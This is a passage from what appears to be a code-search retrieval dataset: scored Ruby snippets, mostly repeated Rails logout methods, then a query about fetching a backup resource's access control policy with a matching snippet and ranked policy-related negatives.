"text": "def log_out\n session.delete(:user_id)\n session.delete(:user_name)\n session.delete(:user_email)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "4b00c0e551389466d64481c6c5f82712",
"score": "0.8197463",
"text": "def log_out\n current_user.reset_session_token!\n session[:session_token] = nil\n end",
"title": ""
},
{
"docid": "a2ce645c5277fb6469a9f0f7759a38e8",
"score": "0.8195853",
"text": "def sign_out\n current_session.destroy if current_session\n @current_session = nil\n end",
"title": ""
},
{
"docid": "dbf22cb53df7336eb2c8962a80ed6373",
"score": "0.819118",
"text": "def log_out\n session.delete(:user_id)\n @current_user=nil\n end",
"title": ""
},
{
"docid": "5c673d3f11c434bc48b133d169fc62b1",
"score": "0.81801546",
"text": "def log_out\n \tsession.delete(:user_id)\n \t@current_user = nil\n end",
"title": ""
},
{
"docid": "4cd9b3def811197f5be693514689bbec",
"score": "0.8165183",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil \n end",
"title": ""
},
{
"docid": "b2cd0ee358b429c5026ba4f014829b6e",
"score": "0.8165028",
"text": "def logout\n session.delete(:user_id) if current_user\n end",
"title": ""
},
{
"docid": "aee5835cbab93ebc4c998cec45c58497",
"score": "0.81620115",
"text": "def logout\n # session.delete(:user_id) does the same thing\n session[:user_id] = nil\n end",
"title": ""
},
{
"docid": "c8eccf40f13f362e7e9f94b4082527eb",
"score": "0.8158112",
"text": "def log_out\n session.delete(:user_id)\n session.delete(:user_type)\n session.delete(:user_email)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "928dcba1da50bb50f94c18cb5ecf8511",
"score": "0.81580895",
"text": "def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "0173822b25d50e084eade02d540a2a9e",
"score": "0.81578857",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "0173822b25d50e084eade02d540a2a9e",
"score": "0.81578857",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "0173822b25d50e084eade02d540a2a9e",
"score": "0.81578857",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "0173822b25d50e084eade02d540a2a9e",
"score": "0.81578857",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "0173822b25d50e084eade02d540a2a9e",
"score": "0.81578857",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "0173822b25d50e084eade02d540a2a9e",
"score": "0.81578857",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "0173822b25d50e084eade02d540a2a9e",
"score": "0.81578857",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "0173822b25d50e084eade02d540a2a9e",
"score": "0.81578857",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "0173822b25d50e084eade02d540a2a9e",
"score": "0.81578857",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "0173822b25d50e084eade02d540a2a9e",
"score": "0.81578857",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "0173822b25d50e084eade02d540a2a9e",
"score": "0.81578857",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "0173822b25d50e084eade02d540a2a9e",
"score": "0.81578857",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "0173822b25d50e084eade02d540a2a9e",
"score": "0.81578857",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "0173822b25d50e084eade02d540a2a9e",
"score": "0.81578857",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "0173822b25d50e084eade02d540a2a9e",
"score": "0.81578857",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "0173822b25d50e084eade02d540a2a9e",
"score": "0.81578857",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "0173822b25d50e084eade02d540a2a9e",
"score": "0.81578857",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "0173822b25d50e084eade02d540a2a9e",
"score": "0.81578857",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "0173822b25d50e084eade02d540a2a9e",
"score": "0.81578857",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "0173822b25d50e084eade02d540a2a9e",
"score": "0.81578857",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "0173822b25d50e084eade02d540a2a9e",
"score": "0.81578857",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "0173822b25d50e084eade02d540a2a9e",
"score": "0.81578857",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "0173822b25d50e084eade02d540a2a9e",
"score": "0.81578857",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "0173822b25d50e084eade02d540a2a9e",
"score": "0.8157104",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "5e9242c5a686d2dee8c90ed4f36df65b",
"score": "0.8145671",
"text": "def logout\n\t\tsession[:user_id] = nil\n\tend",
"title": ""
},
{
"docid": "f9c830ed54df2f545d333a47edcdfe09",
"score": "0.8144988",
"text": "def destroy\n user_session.log_out\n redirect_to root_url\n end",
"title": ""
},
{
"docid": "80122fce182567d445400d967a510b6e",
"score": "0.81386083",
"text": "def log_out\n forget(current_user)\n session.delete(:session_database)\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "634596571d82709d2bfaffafcbaa2208",
"score": "0.8135911",
"text": "def logout\n @current_user = nil\n session.delete(:user_id)\n end",
"title": ""
},
{
"docid": "6c64fb69ba46175bbc196f950d09207d",
"score": "0.81315094",
"text": "def signout\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "1023942ec17b943cd10bf8e3061abcb6",
"score": "0.812938",
"text": "def log_out\n session.delete(:user_id)\n forget(@current_user)\n @current_user=nil\n end",
"title": ""
},
{
"docid": "b1d382b519eeddfd2410e9ad5df3b1d5",
"score": "0.8118283",
"text": "def logout\n current_user.reset_session_token\n session[:session_token] = nil\n end",
"title": ""
},
{
"docid": "b32bfc617d8c9e1cbce2ac9a743da748",
"score": "0.8113489",
"text": "def handle_logout\n reset_session\n end",
"title": ""
},
{
"docid": "6fe4c34437e9492d7fcf0357f5a625f0",
"score": "0.8103223",
"text": "def log_out\n session.delete(:username)\n session.delete(:token)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "2a9e53c8b820493a97f11a5a84413204",
"score": "0.8101502",
"text": "def log_out\n forget current_user\n session.delete :user_id\n @current_user = nil\n end",
"title": ""
},
{
"docid": "1a7d7c597a52f3b5aaec26768e34f46d",
"score": "0.8097639",
"text": "def log_out\n reset_session\n @current_user = nil\n end",
"title": ""
},
{
"docid": "cb21fa8c619c316cf7b9558021ff8c3e",
"score": "0.80917406",
"text": "def logout\n session.delete(SESSION_KEY)\n redirect_to action: :login\n end",
"title": ""
},
{
"docid": "16948942a51aee84805da3d76de2243f",
"score": "0.80679566",
"text": "def log_out\n session.delete(:uid)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "383f7f24a76c8df57dc2643695796dbb",
"score": "0.80643773",
"text": "def destroy\n # Remove the user id from the session\n Rails.logger.debug \"SessionsController#destroy ... session[#{session[:current_user_id]}] = nil\"\n reset_session # Help prevent session fixation attack.\n destroy_session\n Rails.logger.debug \"Session has been destroyed and reset. Redirecting now...\"\n render template: \"/login_logout/successfullyLoggedOut\"\n end",
"title": ""
},
{
"docid": "6178f1641c2c6c879229155b61666df2",
"score": "0.80611855",
"text": "def log_out\n\t\tsession[:user_id] = nil\n\tend",
"title": ""
},
{
"docid": "141f0625a623bf89dd1fc74e3dd82f7c",
"score": "0.80601853",
"text": "def destroy\n full_logout(false)\n \n remember_prev_page! # must be after the session reset method call(in logout_killing_session!)\n flash[:notice] = \"You have been logged out.\"\n #redirect_back_or_default(root_url)\n redirect_to(root_url)\n end",
"title": ""
},
{
"docid": "9c46468f133a7e0b3dc7e83a97cecee5",
"score": "0.8059944",
"text": "def destroy\n @current_user = nil\n\n # Remove the hip_session id, since that kind of goes along\n # with login. Yeah, this code is far away from where hip_session\n # gets created making for confusion, sorry.\n #session.delete(:hip_session_id)\n # actually, destroy the whole damn session, why not, we're redirecting\n # them elsewhere anyway.\n reset_session\n\n # Remove shib cookies to log out of local Shib Service Provider.\n # But this doesn't work anyway, not sure why.\n #cookies.keys.find_all {|k| k =~ /^_shibsession_/ || k =~ /^_shibstate_/}.each { |cookie| cookies.delete(cookie) }\n\n redirect_to \"https://login.johnshopkins.edu/cgi-bin/logoff.pl\"\n\n end",
"title": ""
},
{
"docid": "a08f464c6b1bfd211e31ddd58d6f45f9",
"score": "0.80549824",
"text": "def logout\n session[:user] = nil\n redirect_to '/'\n end",
"title": ""
},
{
"docid": "a08f464c6b1bfd211e31ddd58d6f45f9",
"score": "0.80549824",
"text": "def logout\n session[:user] = nil\n redirect_to '/'\n end",
"title": ""
},
{
"docid": "190462597cba71a65d185e51edb60437",
"score": "0.80437416",
"text": "def logout\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "190462597cba71a65d185e51edb60437",
"score": "0.80437416",
"text": "def logout\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "3e7fb7b4f9e0d0a0929925276bda1b3d",
"score": "0.80393654",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "3e7fb7b4f9e0d0a0929925276bda1b3d",
"score": "0.80393654",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "3e7fb7b4f9e0d0a0929925276bda1b3d",
"score": "0.80393654",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "3e7fb7b4f9e0d0a0929925276bda1b3d",
"score": "0.80393654",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "3e7fb7b4f9e0d0a0929925276bda1b3d",
"score": "0.80393654",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "c77533a9c9b76712162afdf57c3b7642",
"score": "0.80386376",
"text": "def log_out\n\t\tsession.delete(:id)\n\t\t@current_user = nil\n\t\tadmin_session(false)\n\tend",
"title": ""
},
{
"docid": "2c94d6b9b113eb058ba3aedd3bdfc0f6",
"score": "0.8037208",
"text": "def destroy\n session.clear\n redirect_to root_path\n end",
"title": ""
},
{
"docid": "2c94d6b9b113eb058ba3aedd3bdfc0f6",
"score": "0.8037208",
"text": "def destroy\n session.clear\n redirect_to root_path\n end",
"title": ""
},
{
"docid": "2c94d6b9b113eb058ba3aedd3bdfc0f6",
"score": "0.8037208",
"text": "def destroy\n session.clear\n redirect_to root_path\n end",
"title": ""
},
{
"docid": "2c94d6b9b113eb058ba3aedd3bdfc0f6",
"score": "0.8037208",
"text": "def destroy\n session.clear\n redirect_to root_path\n end",
"title": ""
},
{
"docid": "1cabe9dbf48d8ee37f58be64edf7122c",
"score": "0.80364084",
"text": "def sign_out\n reset_session\n end",
"title": ""
},
{
"docid": "995e7fa01361ddad80c0d750a00aaaa8",
"score": "0.80356425",
"text": "def sign_out\n session.delete(:user_id)\n @current_user = nil\nend",
"title": ""
},
{
"docid": "016c7c355b6b06ad344bc07d84eba937",
"score": "0.803189",
"text": "def log_out\r\n forget(current_user)\r\n session.delete(:user_id)\r\n @current_user = nil\r\n end",
"title": ""
},
{
"docid": "25a11f8769bbf9afa8a448afd90e9484",
"score": "0.80310166",
"text": "def destroy\n session.clear\n\n redirect_to root_url\n end",
"title": ""
},
{
"docid": "3b3b30bf6c3cfe76893d2ea0fce8c34c",
"score": "0.80246663",
"text": "def sign_out\n session[:user_id] = nil \n session.delete(:user)\n end",
"title": ""
},
{
"docid": "8474f05bf18dad584f1a80199dbefaa8",
"score": "0.80229944",
"text": "def destroy\n # def self.destroy\n session.clear\n redirect_to login_path\n # reset_session\n # redirect :root_path\n # session[:user_id] = []\n end",
"title": ""
},
{
"docid": "5051c7d61a2b4b6eec13c1ef38b017f6",
"score": "0.8015993",
"text": "def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "5051c7d61a2b4b6eec13c1ef38b017f6",
"score": "0.8015942",
"text": "def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "5051c7d61a2b4b6eec13c1ef38b017f6",
"score": "0.8015942",
"text": "def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "5051c7d61a2b4b6eec13c1ef38b017f6",
"score": "0.8015942",
"text": "def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "5051c7d61a2b4b6eec13c1ef38b017f6",
"score": "0.8015942",
"text": "def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "5051c7d61a2b4b6eec13c1ef38b017f6",
"score": "0.8015942",
"text": "def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "5051c7d61a2b4b6eec13c1ef38b017f6",
"score": "0.8015942",
"text": "def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "5051c7d61a2b4b6eec13c1ef38b017f6",
"score": "0.8015942",
"text": "def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "5051c7d61a2b4b6eec13c1ef38b017f6",
"score": "0.8015942",
"text": "def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
}
] |
d33cbee43783f971465b63a5527034ac
|
Gets the access control policy for an backup resource. Returns an empty policy if an backup exists but does not have a policy set.
|
[
{
"docid": "fbdb91a1e4ef80bf20085faea63d7c26",
"score": "0.7263156",
"text": "def get_backup_policy instance_id, cluster_id, backup_id\n tables.get_iam_policy resource: backup_path(instance_id, cluster_id, backup_id)\n end",
"title": ""
}
] |
[
{
"docid": "b23520597ef6a7a925bbc075e98eef38",
"score": "0.5722904",
"text": "def current_policy\n @current_policy ||= ::AccessPolicy.new(User.find(current_user.id))\n end",
"title": ""
},
{
"docid": "e1919fe3e765633ef01c294a10a08718",
"score": "0.5691375",
"text": "def policy(resource)\n if authorization_enabled?\n super(resource)\n else\n Authorization::Policy.new(nil, nil, default: true)\n end\n end",
"title": ""
},
{
"docid": "622f62f9bc80c1f16c5cc916eb540165",
"score": "0.5609715",
"text": "def policy(name)\n json = client.get(\"/v1/sys/policy/#{encode_path(name)}\")\n return Policy.decode(json)\n rescue HTTPError => e\n return nil if e.code == 404\n raise\n end",
"title": ""
},
{
"docid": "96cdf97516c7d63646dbb0f2ba807fbf",
"score": "0.5486519",
"text": "def policy_class\n Hydra.config.permissions.policy_class || Hydra::AdminPolicy\n end",
"title": ""
},
{
"docid": "d54520fb1b55e049f41cec049df6aa6b",
"score": "0.5454934",
"text": "def policy\n self.permissions['policy'].to_sym\n end",
"title": ""
},
{
"docid": "836b9b7e4096ec8f55fde9ba6b1dc614",
"score": "0.5452442",
"text": "def policy\n @policy ||= init_policy\n end",
"title": ""
},
{
"docid": "2ee501b14865e878b5ad8ee551e0eb62",
"score": "0.541409",
"text": "def get_ory_access_control_policy(flavor, id, opts = {})\n data, _status_code, _headers = get_ory_access_control_policy_with_http_info(flavor, id, opts)\n data\n end",
"title": ""
},
{
"docid": "aa9966e1ca37e34adfb03f865f83b93f",
"score": "0.5278482",
"text": "def set_backup_policy instance_id, cluster_id, backup_id, policy\n tables.set_iam_policy resource: backup_path(instance_id, cluster_id, backup_id), policy: policy\n end",
"title": ""
},
{
"docid": "0b3c4716d524f2dae6fb9b042c525166",
"score": "0.52777326",
"text": "def policy_object\n return @policy_object if !@policy_object.nil?\n if self.is_a?(ActiveRecord::Base)\n return self.class.policy_object\n end\n return nil\n end",
"title": ""
},
{
"docid": "874ac130838e4eba53c5b841d9a96737",
"score": "0.5210195",
"text": "def bucket_policy\n @bucket_policy ||= fetch_bucket_policy\n end",
"title": ""
},
{
"docid": "1b272e59a6507ddd1b08c2ac0d3b61b8",
"score": "0.50771904",
"text": "def describe_backup_policy(d_b_instance_id, optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'DescribeBackupPolicy'\n\t\targs[:query]['DBInstanceId'] = d_b_instance_id\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :owner_id\n\t\t\targs[:query]['OwnerId'] = optional[:owner_id]\n\t\tend\n\t\tif optional.key? :resource_owner_account\n\t\t\targs[:query]['ResourceOwnerAccount'] = optional[:resource_owner_account]\n\t\tend\n\t\tif optional.key? :resource_owner_id\n\t\t\targs[:query]['ResourceOwnerId'] = optional[:resource_owner_id]\n\t\tend\n\t\tself.run(args)\n\tend",
"title": ""
},
{
"docid": "192cbfd163bfc882c7dc2e2d951694bb",
"score": "0.5072433",
"text": "def policy(user, record)\n policy = policy_finder(record).policy\n policy.new(user, record) if policy\n end",
"title": ""
},
{
"docid": "7a66dea2cdfcaccb79222feccf0c0341",
"score": "0.5071123",
"text": "def policy\n return Reports::Policy.new(user)\n end",
"title": ""
},
{
"docid": "878eb9c71f9aa995d97e1f15ffb6a13f",
"score": "0.50103027",
"text": "def get_policy\n @privacypolicy = Privacypolicy.find_by_id(params[:id])\n return if check_nil_object(@privacypolicy)\n end",
"title": ""
},
{
"docid": "bb56d6f52804728d2f4072df4e866c3b",
"score": "0.49995768",
"text": "def policy_klass\n resource_module::Policy\n end",
"title": ""
},
{
"docid": "ea48a3cbe417afaecdae4bc84373dbdd",
"score": "0.4991546",
"text": "def get_policy_by_name(policy_name)\n policy = nil\n catch_aws_errors do\n pagination_opts = {}\n loop do\n response = @aws.iam_client.list_policies(pagination_opts)\n policy = response.policies.detect { |p| p.policy_name == policy_name }\n break if policy\n break unless response.is_truncated\n pagination_opts[:marker] = response.marker\n end\n end\n policy\n end",
"title": ""
},
{
"docid": "ea48a3cbe417afaecdae4bc84373dbdd",
"score": "0.4991546",
"text": "def get_policy_by_name(policy_name)\n policy = nil\n catch_aws_errors do\n pagination_opts = {}\n loop do\n response = @aws.iam_client.list_policies(pagination_opts)\n policy = response.policies.detect { |p| p.policy_name == policy_name }\n break if policy\n break unless response.is_truncated\n pagination_opts[:marker] = response.marker\n end\n end\n policy\n end",
"title": ""
},
{
"docid": "5a23b09cb824b4d4f8f6d72e1af51f97",
"score": "0.4954787",
"text": "def retrieve_policies( resource_name, access_token, realm_uuid, resource_server )\n if resource_name && access_token\n request_policies(\n resource_name,\n access_token,\n realm_uuid,\n resource_server\n )\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "bb7fc6b040c9571211a3ce56329c0db5",
"score": "0.49140778",
"text": "def policy\n if resource[:plist]\n return File.readlines(resource[:plist]).to_s\n end \n resource[:content]\n end",
"title": ""
},
{
"docid": "cded6218cb1248b284d89823a1b8ed8b",
"score": "0.49105945",
"text": "def get_policy()\n\t\t if @policy.kind_of? String\n return @policy\n elsif @policy.kind_of? REXML::Element\n return @policy.to_s\n\t\t end\n\n return nil\n\t end",
"title": ""
},
{
"docid": "593f6c07cbb04f6bfe9a1af5fdaf2907",
"score": "0.490507",
"text": "def get_restriction_policy(resource_id, opts = {})\n data, _status_code, _headers = get_restriction_policy_with_http_info(resource_id, opts)\n data\n end",
"title": ""
},
{
"docid": "e43484da87ad7b95c8fe1ef977a7e924",
"score": "0.48913294",
"text": "def queue_policy(queue_name)\n JSON.parse(URI.decode(queue_attributes[queue_name][\"Policy\"])) rescue nil\n end",
"title": ""
},
{
"docid": "b3df1c56d562baf336abc155972704a6",
"score": "0.4879126",
"text": "def policy(user, record)\n policy = ::Pundit::PolicyFinder.new(record).policy\n policy.new(user, record, self) if policy\n end",
"title": ""
},
{
"docid": "697806f25005a8d101828400d4216bd3",
"score": "0.48704645",
"text": "def policy\n ensure_service!\n grpc = service.get_database_policy instance_id, database_id\n policy = Policy.from_grpc grpc\n return policy unless block_given?\n yield policy\n update_policy policy\n end",
"title": ""
},
{
"docid": "697806f25005a8d101828400d4216bd3",
"score": "0.48704645",
"text": "def policy\n ensure_service!\n grpc = service.get_database_policy instance_id, database_id\n policy = Policy.from_grpc grpc\n return policy unless block_given?\n yield policy\n update_policy policy\n end",
"title": ""
},
{
"docid": "9aadd0fccf175622a79a2e38b7179901",
"score": "0.4866838",
"text": "def policy_hash\n @policy_hash ||= policy.try(:to_hash) || {}\n end",
"title": ""
},
{
"docid": "ef5fc8acac757d4457e84f846cf9560c",
"score": "0.47925264",
"text": "def work_profile_default_app_permission_policy\n return @work_profile_default_app_permission_policy\n end",
"title": ""
},
{
"docid": "1f44b36e51833819b926d7bffa595cde",
"score": "0.47792646",
"text": "def your_project_access_type policy = nil, resource = nil\n unless policy.nil? or resource.nil? or !(policy.sharing_scope == Policy::ALL_SYSMO_USERS)\n unless policy.permissions.empty?\n my_project_ids = if resource.class == Project then [resource.id] else resource.project_ids end\n my_project_perms = policy.permissions.select {|p| p.contributor_type == 'Project' and my_project_ids.include? p.contributor_id}\n access_types = my_project_perms.map(&:access_type)\n return access_types.first if access_types.all?{|acc| acc == access_types.first}\n else\n policy.access_type\n end\n end\n end",
"title": ""
},
{
"docid": "754a1917ec05cba5fb38b52b9495ed12",
"score": "0.47717887",
"text": "def policy(policy_file)\n Policy.new(policy_file)\n end",
"title": ""
},
{
"docid": "7ba3767305d18d2d08d74480bb0ee877",
"score": "0.47190115",
"text": "def get_instance_policy instance_id\n execute do\n instances.get_iam_policy(\n instance_path(instance_id)\n )\n end\n end",
"title": ""
},
{
"docid": "5fde29cce0b46ec0e231f16828da938d",
"score": "0.47173065",
"text": "def resource_access\n return @resource_access\n end",
"title": ""
},
{
"docid": "5fde29cce0b46ec0e231f16828da938d",
"score": "0.47173065",
"text": "def resource_access\n return @resource_access\n end",
"title": ""
},
{
"docid": "7416f0dd8fb10e3cb955d0c09e018cac",
"score": "0.4711736",
"text": "def get_table_policy instance_id, table_id\n tables.get_iam_policy resource: table_path(instance_id, table_id)\n end",
"title": ""
},
{
"docid": "35e53542fcd2532bae54634cbc2faa86",
"score": "0.46966332",
"text": "def get_instance_policy instance_id\n instances.get_iam_policy resource: instance_path(instance_id)\n end",
"title": ""
},
{
"docid": "12a6aad27046749b5a41ba921fa382b9",
"score": "0.46948594",
"text": "def policy\n return Case::Policy.new(user, self.case)\n end",
"title": ""
},
{
"docid": "aa23ab5fd9c74487ba5876d97528ea2e",
"score": "0.46573886",
"text": "def get_policy(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'GetPolicy'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'https'\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :policy_name\n\t\t\targs[:query]['PolicyName'] = optional[:policy_name]\n\t\tend\n\t\tif optional.key? :policy_type\n\t\t\targs[:query]['PolicyType'] = optional[:policy_type]\n\t\tend\n\t\tself.run(args)\n\tend",
"title": ""
},
{
"docid": "06833c71e5d8ba6a541a6003ce544257",
"score": "0.46335143",
"text": "def required_resource_access\n return @required_resource_access\n end",
"title": ""
},
{
"docid": "2e47e7726a5ffb9d85d4c35763948ec1",
"score": "0.45927033",
"text": "def policy\n ensure_service!\n grpc = service.get_instance_policy path\n policy = Policy.from_grpc grpc\n return policy unless block_given?\n yield policy\n update_policy policy\n end",
"title": ""
},
{
"docid": "0c79e29ce674e34b7bf93ebffdc64718",
"score": "0.45814595",
"text": "def generate_policy\n statements = []\n compile.resources.keys!.each do |r_name|\n r_object = compile.resources[r_name]\n if(r_object['Policy'])\n r_object['Policy'].keys!.each do |effect|\n statements.push(\n 'Effect' => effect.to_s.capitalize,\n 'Action' => [r_object['Policy'][effect]].flatten.compact.map{|i| \"Update:#{i}\"},\n 'Resource' => \"LogicalResourceId/#{r_name}\",\n 'Principal' => '*'\n )\n end\n r_object.delete!('Policy')\n end\n end\n statements.push(\n 'Effect' => 'Allow',\n 'Action' => 'Update:*',\n 'Resource' => '*',\n 'Principal' => '*'\n )\n Smash.new('Statement' => statements)\n end",
"title": ""
},
{
"docid": "a2cc6aba64370d1978da3ab72323bcf8",
"score": "0.45713514",
"text": "def policy_get_first\n\t\t\tpost= { \"token\" => @token }\n\t\t\tdocxml = nil\n\t\t\tdocxml=nessus_request('policy/list', post)\n\t\t\tif docxml.nil?\n\t\t\t\treturn\n\t\t\tend\n\t\t\tdocxml.root.elements['contents'].elements['policies'].each_element('//policy') {|policy|\n\t\t\t\treturn policy.elements['policyID'].text, policy.elements['policyName'].text\n\t\t\t}\n\t\tend",
"title": ""
},
{
"docid": "0c73d7e09695621f81ee925ff0639c94",
"score": "0.45540285",
"text": "def list_ory_access_control_policies(flavor, opts = {})\n data, _status_code, _headers = list_ory_access_control_policies_with_http_info(flavor, opts)\n data\n end",
"title": ""
},
{
"docid": "446a2ded86b28fb436291241b275031b",
"score": "0.4546778",
"text": "def get_permissions_for_user(user)\n get_filtered_policy(0, user)\n end",
"title": ""
},
{
"docid": "d2fb4e01e852d897f80f7d59d445b68e",
"score": "0.45090306",
"text": "def compliance_policy\n return @compliance_policy\n end",
"title": ""
},
{
"docid": "74928262cc4689e37d973d145d7cc15a",
"score": "0.44887826",
"text": "def policy\n ensure_service!\n grpc = service.get_table_policy instance_id, name\n policy = Policy.from_grpc grpc\n return policy unless block_given?\n yield policy\n update_policy policy\n end",
"title": ""
},
{
"docid": "b36ff95801c9093ce2c9f6837d7ba629",
"score": "0.44847435",
"text": "def upsert_ory_access_control_policy(flavor, opts = {})\n data, _status_code, _headers = upsert_ory_access_control_policy_with_http_info(flavor, opts)\n data\n end",
"title": ""
},
{
"docid": "a02aa23473f371b609ab15b00c6e3954",
"score": "0.447986",
"text": "def scope\n Pundit.policy_scope!(user, record.class)\n end",
"title": ""
},
{
"docid": "b27a86ea45967952de6d0a0065e0c5ae",
"score": "0.44370258",
"text": "def account_manager_policy\n return @account_manager_policy\n end",
"title": ""
},
{
"docid": "5c03076a59cfd332d0bbf810be217031",
"score": "0.44354594",
"text": "def policy_document\n return @policy if @policy\n \n ret = { \n expiration: 30.minutes.from_now.utc.strftime('%Y-%m-%dT%H:%M:%S.000Z'),\n conditions: [ \n { bucket: ENV['S3_BUCKET'] },\n { acl: \"public-read\" },\n [\"starts-with\", \"$key\", \"#{@picture.user.email}/#{@picture.type}/\"],\n [\"starts-with\", \"$Content-Type\", \"\"],\n { success_action_status: '201' }\n ]\n }\n @policy = Base64.encode64(ret.to_json).gsub(/\\n|\\r/, '')\n end",
"title": ""
},
{
"docid": "015a6d65d1cf7545ebf898adf9091bf2",
"score": "0.441447",
"text": "def account_deletion_policy\n return @account_deletion_policy\n end",
"title": ""
},
{
"docid": "d7a593346ec0aad8ff869c2832ac1143",
"score": "0.4378791",
"text": "def policy\n ensure_service!\n grpc = service.get_topic_policy name\n policy = Policy.from_grpc grpc\n return policy unless block_given?\n yield policy\n update_policy policy\n end",
"title": ""
},
{
"docid": "7192ffd37cf511ce72a6910af1f362da",
"score": "0.43620083",
"text": "def policy_for(record:, with: nil, namespace: authorization_namespace, context: nil, allow_nil: false, default: default_authorization_policy_class, strict_namespace: authorization_strict_namespace)\n context = context ? authorization_context.merge(context) : authorization_context\n\n policy_class = with || ::ActionPolicy.lookup(\n record,\n namespace:, context:, allow_nil:, default:, strict_namespace:\n )\n policy_class&.new(record, **context)\n end",
"title": ""
},
{
"docid": "793ab341cf983dc5a7adeeae822ccfc9",
"score": "0.43408993",
"text": "def permissions\n @resource_permissions\n end",
"title": ""
},
{
"docid": "5f76feb19a4c9588d063d85580aa603c",
"score": "0.43177623",
"text": "def billing_permission\n @attributes[:billing_permission]\n end",
"title": ""
},
{
"docid": "85ea967dc1a086aa8ac30de824e73eca",
"score": "0.43123227",
"text": "def current_access_control\n @access_control\n end",
"title": ""
},
{
"docid": "f562d6ce2135e550dacbe545d629f069",
"score": "0.4302621",
"text": "def applied_policies\n return @applied_policies\n end",
"title": ""
},
{
"docid": "e2d50cfc54921a1fec5cbbe514f4eeb2",
"score": "0.43017495",
